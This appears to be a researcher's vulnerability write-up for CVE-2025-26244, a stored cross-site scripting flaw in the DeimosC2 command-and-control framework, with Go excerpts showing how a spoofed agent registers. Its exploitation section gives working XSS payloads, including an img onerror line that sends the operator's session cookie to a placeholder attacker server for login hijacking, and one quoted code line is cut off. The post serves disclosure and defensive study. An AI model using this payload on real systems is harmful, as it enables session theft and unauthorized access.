Post

CVE-2025-26244 - Stored Cross Site Scripting (XSS) in DeimosC2-v1.1.0-Beta leads to escalation of privileges.

Summary

  • CVE ID: CVE-2025-26244

  • Vendor: CyberOneSecurity

  • Product: DeimosC2

  • Affected Version: v1.1.0-Beta

  • Vulnerability Type: Stored Cross-Site Scripting (XSS)

  • Impact: Privilege escalation through stolen cookie

POC

Introduction

Recently, I had been scrolling on X and discovered a blog post by Chebuya. This blog post detailed how they found a remote code execution vulnerability in a C2 framework. This was fascinating to me but due to having university work and other commitments, I never tried to find my own. Over my Christmas break I decided I would give this a go and hopefully find my own CVE. I took Chebuya’s advice on how to find a target and decided on DeimosC2. The reason I chose this framework was because I had heard of it before when browsing GitHub and it is mainly written in Golang. A language I am familiar with. Before, when I have chosen a target on bug bounties I struggled to commit to that target and after trying for a day would switch targets. This is a weakness, and so I focussed on choosing a target I knew I would like.

DeimosC2 is a C2 tool for post-exploitation with support for Windows, Darwin and Linux. Written entirely in Golang with a Vue frontend. It has over 1.1k stars on GitHub and has been used by Russian ransomware in 2022, likely with this vulnerability existing. You can read more about that here.

The full code and Proof Of Concept can be seen here.

Agent Registration

After reading all of Chebuya’s blog posts it seems they focus on understanding how an agent is registered to the C2. Then look for vulnerabilities. Therefore, I downloaded the source code off of GitHub and tried to understand how an agent is registered and if I would be able to register my own agent.

Before we get into my explanation of how an agent is registered there is a post by Trend Micro which details how an agent is registered. This would have been nice to discover before I did the work to understand how an agent is registered by reading the source code, but it is a good resource if my explanation doesn’t make sense.

In the context of a C2. An agent is an executable that runs on a target machine that we can send commands to.

DeimosC2_Agent_Registration.drawio.png

This graph shows how a DeimosC2 agent is registered. Hopefully this will help you visualise what the code actually does. It could be helpful to think of the listener as a ‘redirector’. Essentially the agent makes contact with the listener instead of the C2 to try and hide the C2 address.

We will focus on how an HTTPS agent is registered. As I chose to use HTTPS agents when discovering this vulnerability. However, this exploit should work with other protocols the framework supports but the PoC, ‘spoof.go’, will need to be adapted to use those protocols.

This code comes from the DeimosC2 source located on GitHub. We give an overview of how an agent is registered below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
func main() {
...
  if key == "" || key == "000000000000000000000000000000000000"{
    connect("init", "")
  } else {
    go connect("check_in", "")
  }
...
}

//Makes the connection to the listener
func connect(connType string, data string) {
	defer logging.TheRecovery()

	switch connType {
	case "init":
		msg := agentfunctions.FirstTime(key)
		key = string(sendMsg(firsttime, msg))
	case "check_in":
		checkIn()
	}
}

If we have an empty key or a key with a load of zeros then we call a function connect with an argument ‘init’ and an empty string. Within the connect function, we call a function ‘FirstTime’ with the key as an argument (The key is an empty string). After, the FirstTime function is called we call a function called sendMsg. Let’s investigate what message we are sending by looking at the FirstTime function.

1
2
3
4
5
6
7
func FirstTime(key string) []byte {
  ...
  systemInfo := initialize{key, runtime.GOOS, osType, osVers, av, hostname, user.Username, ip, agent, shellz, os.Getpid(), admin, elevated, ""}
  msg, err := json.Marshal(systemInfo)
  ...
  return msg
}

Essentially we create a structure that holds a message with information about the computer and network, then we return that message. Let’s take a look how we send that message to the C2 listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//sendMsg takes in an array of bytes and sends it to the listener
func sendMsg(msgType string, data []byte) []byte {

	var aesKey []byte
	var fullMessage []byte
	pub := crypto.BytesToPublicKey(pubKey)
	if key == "" {
		key = "000000000000000000000000000000000000"
	} 
	aesKey = make([]byte, 32)
	_, _ = rand.Read(aesKey)
	named := []byte(key)
	combined := append(named, aesKey...)
	encPub := crypto.EncryptWithPublicKey(combined, pub)
	encMsg := crypto.Encrypt(data, aesKey)
	final := append(encPub, encMsg...)
	fullMessage = final
	r, err := 
	if err != nil {
		agentfunctions.ErrHandling(err.Error())
	}
	defer r.Body.Close()
	if r.StatusCode == http.StatusOK {
		bodyBytes, err := ioutil.ReadAll(r.Body)
		if err != nil {
			agentfunctions.ErrHandling(err.Error())
		}
		decMsg := crypto.Decrypt(bodyBytes, aesKey)

		return decMsg
	}
	return nil
}

This is a function that sends a message to the HTTPS listener. From this function we can tell that:

  1. A listener is created. This listens for new agent connections. There are multiple options such as TCP but for this exploit we will focus on HTTPS agents and listeners. When an agent is generated to send to a target. Information such as the listener IP address, port, first time check in URL and public key are placed into the agent.
  2. When the agent is run on the target machine. It sends a POST request to the HTTPS listener. The body of the request holds information about the environment the agent is in (defined by the systemInfo structure).
  3. This message is encrypted with the listener public key and a random AES key.
  4. A response from the listener is received. The response is encrypted using the AES key.

Below is the structure of the message sent to the listener on first contact by the agent.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//FirstTime Struct
type initialize struct {
	Key         string   //Agent Key
	OS          string   //Current OS
	OSType      string   //Type of Operating System and/or Distro
	OSVers      string   //Version of OS
	AV          []string //AntiVirus Running
	Hostname    string   //Current Machine Name
	Username    string   //Current Username
	LocalIP     string   //Local IP
	AgentPath   string   //Agent Path
	Shellz      []string //Available System Shells
	Pid         int      //Get PID of agent
	IsAdmin     bool     //Is admin user
	IsElevated  bool     //Is elevated on Windows
	ListenerKey string   //Listener that the agent is attached too
}

All of this data can be made up. We are simply registering an agent, usually the agent key is a UUID. However, we don’t need to interact with our agent after registering it. So a lot of the data here can just be garbage in the exploit code. To register my own agent I created my own go file and copied these functions.

Essentially to register an agent we need to know:

  1. The public key of the listener.
  2. The listener first time URI.
  3. The listener host and port.

All this information would be available to us if we are able to have access to an agent binary. For example, if we had been targeted by the operator we could reverse the binary to get all the three pieces of information needed to register an agent. In the Trend Micro blog they provide a script that can be used to get this information automatically from a binary.

The process I have just described is implemented in the PoC script. ‘spoof.go’.

Exploitation

Now after registering my agent I decided it would be time to start looking for a vulnerability. I started with looking for XSS (Cross site scripting). The most obvious point for me to start with was in the first time structure. This is the initialize structure described above. I started by placing a simple XSS payload in every field of the structure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
systemInfo := initialize{"<script>alert(1)</script>",
"<script>alert(1)</script>",
"<script>alert(1)</script>",
"<script>alert(1)</script>",
[]string{"<script>alert(1)</script>"},
"<script>alert(1)</script>",
"<script>alert(1)</script>",
"<script>alert(1)</script>",
"<script>alert(1)</script>",
[]string{"<script>alert(1)</script>"},
1,
false,
false,
""}

Using this as the message sent to the listener. I ran my script that registers an agent to investigate if any of these payloads triggered.

img.png Clearly we can see none of them triggered, and we have no XSS. I continued to try loads of different payloads including some Vue specific payloads and inspected the response in the dev tools, which yielded very little results. Eventually I clicked on graph.

img_1.png After clicking on graph we see something weird. There is no hostname or local IP. We don’t get an alert either. Looking at the html source we can see the script tags are being rendered but not executed. I decided that I would use an image XSS payload. As this would be rendered and executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
systemInfo := initialize{"astring",
"astring",
"astring",
"astring",
[]string{"astring"},
"hostname <img src=\"invalid-image.jpg\" style=\"display:none;\" onerror=\"alert(1)\" />",
"astring",
"localip",
"astring",
[]string{"astring"},
1,
false,
false,
""}

img_2.png

So, we have XSS!

Now we have XSS but what can we do with it? Well immediately I checked to see how the user who logs into the C2 is authenticated. Is it through a session? cookie? or not. If it is through a cookie or session we could steal this value and paste it into our browser to authenticate to the C2 without needing to know the username or password. We could also leak the C2 IP and do many other things. img_3.png There was a cookie. I deleted this cookie and we were logged out. Showing we are authenticated if this cookie is present. Immediately I knew what I had to do now. Any common XSS CTF will teach you the next steps.

  1. Register an agent with the image XSS payload.
  2. The payload will send a request to a server I have access to with the value of the cookie.
  3. Paste this cookie into our browser and refresh

When writing the exploit I had some issues with CORS (Cross-Origin Resource Sharing). I would create JavaScript to simply send a request to my server with the cookie value. There are many ways to try to get around CORS, for example, simulating a click on a http forum. However, one thing that worked was using document.location to redirect the user to my page. This meant I had to redirect the user to my http server. However, if we didn’t want them to notice we could always just redirect them back to the server they came from.

The final message looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	systemInfo := initialize{"astring",
		"astring",
		"astring",
		"astring",
		[]string{"astring"},
		"hostname <img src=\"invalid-image.jpg\" style=\"display:none;\" onerror=\"document.location = 'http://<your server ip>/steal/' + document.cookie\" />",
		"astring",
		"localip",
		"astring",
		[]string{"astring"},
		1,
		false,
		false,
		""}

This sends the users cookie to a server we control and allows us to log in.

The exploit does require user interaction but there are two areas in the C2 framework where the payload can be triggered. The first is showcased in the PoC where the user will need to interact with the listener. The second is in the agent graph view. Essentially, anywhere the graph view for agents is rendered is where our exploit will trigger. This will also theoretically bypass 2FA, but I haven’t tested that yet.

Fix

After messaging CyberOneSecurity, the project owners. I was informed that DeimosC2 is pretty much dead. I had noticed the project had not been updated recently. I half expected not to receive a reply, however, I did and they handled it very well. I have also tried to deploy my own fixes but building DeimosC2 is problematic due to the number of outdated dependencies, meaning a lot of work will need to be done in order to update the dependencies, resolve conflicts and ensure that the updated dependencies didn’t break other areas of the framework. With these factors in mind it is unlikely to be fixed.

To fix this vulnerability we would need to apply some kind of sanitation to the data passed to and from the agent and C2. A lot of XSS mitigations can be read about here. In many areas of the C2 the agent data is rendered using curly braces. In Vue this means that data is automatically escaped and can be considered safe. However, in the graph view this is not the case and is the reason why we must either render the data using Vue curly braces or apply our own sanitation.

This post is licensed under CC BY 4.0 by the author.